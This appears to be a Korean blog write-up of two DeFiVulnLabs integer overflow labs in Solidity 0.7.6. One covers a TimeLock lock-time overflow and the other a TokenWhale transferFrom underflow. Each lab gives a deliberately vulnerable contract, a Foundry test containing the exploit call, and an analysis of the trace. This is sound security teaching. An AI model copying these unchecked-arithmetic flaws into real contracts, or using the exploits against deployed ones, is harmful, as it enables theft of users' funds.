새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Integer overflow

  • -
반응형

Integer overflow1

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "forge-std/Test.sol";


// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Alice and bob both have 1 Ether balance
2. Deploy TimeLock Contract
3. Alice and bob both deposit 1 Ether to TimeLock, they need to wait 1 week to unlock Ether
4. Bob caused an overflow on his lockTime
5, Alice can't withdraw 1 Ether, because the lock time not expired.
6. Bob can withdraw 1 Ether, because the lockTime is overflow to 0

What happened?
Attack caused the TimeLock.lockTime to overflow,
and was able to withdraw before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease; // vulnerable
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract ContractTest is Test {
    TimeLock TimeLockContract;
    address alice;
    address bob;

    function setUp() public {
        TimeLockContract = new TimeLock();
        alice = vm.addr(1);
        bob = vm.addr(2);
        vm.deal(alice, 1 ether);   
        vm.deal(bob, 1 ether);
    }    
           
    function testFailOverflow() public {
        console.log("Alice balance", alice.balance);
        console.log("Bob balance", bob.balance);

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice);
        TimeLockContract.deposit{value: 1 ether}();
        console.log("Alice balance", alice.balance);

        console.log("Bob deposit 1 Ether...");
        vm.startPrank(bob); 
        TimeLockContract.deposit{value: 1 ether}();
        console.log("Bob balance", bob.balance);

        // exploit here
        TimeLockContract.increaseLockTime(
            type(uint).max + 1 - TimeLockContract.lockTime(bob)
        );

        console.log("Bob will successfully to withdraw, because the lock time is overflowed");
        TimeLockContract.withdraw();
        console.log("Bob balance", bob.balance);
        vm.stopPrank();

        vm.prank(alice);
        console.log("Alice will fail to withdraw, because the lock time not expired");
        TimeLockContract.withdraw();    // expect revert
    }
}

코드 test결과이다.

Alice 잔액 하고 Bob 잔액하고 1 ether인데 Bob은 출금에 성공하였고 Alice는 실패하였다.

Trace를 분석해보자.

Alice address = 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

bob address = 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

Alice가 deposit 1 ether를 했을 때: lockTime = block.timestamp + 1 weeks = 604801

Bob이 deposit 1 ether를 했을 때: lockTime = block.timestamp + 1 weeks = 604801(같은 블록이라 block.tiemstamp가 같음)

 

increaseLockTime() = type(uint).max = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff(32byte)

type(uint).max + 1 = 0 -> overflow 발생

결국 bob.lockTime = 0 따라서 withdraw require문 통과

 

Vnlerability

function increaseLockTime(uint _secondsToIncrease) public {
    lockTime[msg.sender] += _secondsToIncrease;
}

exploit

TimeLockContract.increaseLockTime(
    type(uint).max + 1 - TimeLockContract.lockTime(bob)
);

Integer overflow2

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "forge-std/Test.sol";

contract ContractTest is Test {
        TokenWhaleChallenge TokenWhaleChallengeContract;
 

function testOverflow2() public {
    address alice = vm.addr(1);
    address bob = vm.addr(2);

    TokenWhaleChallengeContract = new TokenWhaleChallenge();   
    TokenWhaleChallengeContract.TokenWhaleDeploy(address(this));
    console.log("Player balance:",TokenWhaleChallengeContract.balanceOf(address(this)));
    TokenWhaleChallengeContract.transfer(address(alice),800);

    vm.prank(alice);   
    TokenWhaleChallengeContract.approve(address(this),1000);
    TokenWhaleChallengeContract.transferFrom(address(alice),address(bob),500); //exploit here

    console.log("Exploit completed, balance overflowed");
    console.log("Player balance:",TokenWhaleChallengeContract.balanceOf(address(this)));
    }
    receive() payable external{}
}
contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleDeploy(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

코드 test결과이다.

Player balance가 1000에115792089237316195423570985008687907853269984665640564039457584007913129639636으로 바뀌었다.

Trace를 분석해 보자

Player address: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496

Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

Bob address: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

transfer(address(alice) 800)의 결과가 msg.sender에서 address(alice)에 800을 전송

approve(address(this), 1000)의 결과가 alice가 player에게 1000을 승인

transferFrom(address(alice), address(bob), 500)의 결과가 player에서 bob로 500을 전송

 

player.balance: 1000 -> alice에게 800 전송 -> 200 -> bob로 500 전송 : -300 underflow발생

그래서 115792089237316195423570985008687907853269984665640564039457584007913129639636으로 잔액 증가

 

Vulnerability

function _transfer(address to, uint256 value) internal {
    balanceOf[msg.sender] -= value;
    balanceOf[to] += value;

    emit Transfer(msg.sender, to, value);
}

exploit

 TokenWhaleChallengeContract.transferFrom(address(alice),address(bob),500);

 

반응형
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.